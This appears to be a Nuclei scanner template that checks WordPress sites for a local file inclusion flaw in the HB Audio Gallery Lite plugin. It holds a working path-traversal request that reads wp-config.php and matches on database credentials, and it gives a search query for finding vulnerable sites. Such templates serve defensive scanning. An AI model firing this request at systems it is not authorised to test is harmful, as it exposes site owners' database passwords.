id: hb-audio-lfi

info:
  name: Wordpress HB Audio Gallery Lite - Local File Inclusion
  author: dhiyaneshDK
  severity: high
  description: Wordpress HB Audio Gallery Lite is vulnerable to local file inclusion.
  reference:
    - https://packetstormsecurity.com/files/136340/WordPress-HB-Audio-Gallery-Lite-1.0.0-Arbitrary-File-Download.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
    google-query: inurl:/wp-content/plugins/hb-audio-gallery-lite
  tags: wp,packetstorm,wordpress,wp-plugin,lfi

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/hb-audio-gallery-lite/gallery/audio-download.php?file_path=../../../../wp-config.php&file_size=10'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402203d686066577583e026f70f9a11a1c5d4421c0f7701da68a7c39aaa6c312e633202205a97ea2aa835e392c5dcde41b394e6012b436016cd483aeb6c84fa4e11e1b914:922c64590222798bb761d5b6d8e72950